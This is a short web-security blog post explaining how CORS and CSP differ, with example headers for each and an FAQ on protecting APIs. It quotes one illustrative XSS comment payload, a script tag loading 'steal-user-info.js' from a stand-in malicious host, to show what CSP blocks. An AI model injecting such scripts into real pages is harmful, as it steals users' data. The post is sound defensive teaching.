Published on

CORS vs. CSP: A Simple Guide

Authors
  • avatar
    Name
    Gene Zhang
    Twitter

What's the Difference Between CORS and CSP?

When building for the web, you'll often encounter two critical security policies: CORS and CSP. They sound similar, but they serve very different purposes. Let's break down what they do and why you need them.

CORS (Cross-Origin Resource Sharing) is a browser security feature that allows a server to indicate which origins (domains) are permitted to access its resources.

It answers the question: "Who is allowed to read my data?"

CSP (Content Security Policy) is a security layer that helps prevent attacks like Cross-Site Scripting (XSS) by specifying which resources a browser is allowed to load for a page.

It answers the question: "What content is safe to run on my page?"

Example: CORS in Action

Imagine your web application is split into two parts:

  • Frontend: A React app running on https://my-cool-app.com.
  • Backend API: A server with data and logic running on https://api.data-service.com.

A user clicks a button, and the frontend needs to fetch data from the backend API.

Without CORS

The browser's Same-Origin Policy blocks the request because it comes from a different domain. You'll see a CORS error in the developer console.

With CORS

The backend team configures the server to send an HTTP header with its response:

Access-Control-Allow-Origin: https://my-cool-app.com

The browser sees this header, confirms the origin is allowed, and lets the request proceed.

Example: CSP in Action

Imagine you run a blog and want to protect users from malicious code injected into comments.

The Problem

A hacker posts a comment with a harmful script:

<script src="https://malicious-site.com/steal-user-info.js"></script>

Without CSP, a user's browser would execute this script, potentially stealing their data.

With CSP

You configure your web server to send a Content-Security-Policy HTTP header:

Content-Security-Policy: script-src 'self' https://www.google-analytics.com;

This policy tells the browser to only execute scripts from your own domain ('self') and Google Analytics. The browser sees the malicious script, checks the policy, and refuses to load it because https://malicious-site.com is not on the whitelist.

Common Questions about CORS

Is CORS a backend tool to protect my API?

No, it's a browser security feature. The browser is what enforces the restriction, not the backend. The backend's only job is to send headers that tell the browser what to allow.

Does CORS block tools like curl or Postman?

No. CORS only applies to requests made from a browser using JavaScript (like fetch). Direct API calls from servers or tools are not affected.

How should I actually protect my API?

True API security comes from:

  • Authentication: API keys, JWTs, or other tokens.
  • Authorization: Checking if the user has permission for a specific action.
  • Rate Limiting: Preventing abuse.
  • Input Validation: Cleaning and validating all incoming data.

Summary

  • CORS is a browser mechanism that lets a server specify which other origins can request its data, preventing unauthorized cross-origin requests from malicious sites.
  • CSP protects your users by controlling what content (scripts, styles, etc.) can run on your website.
View on GitHub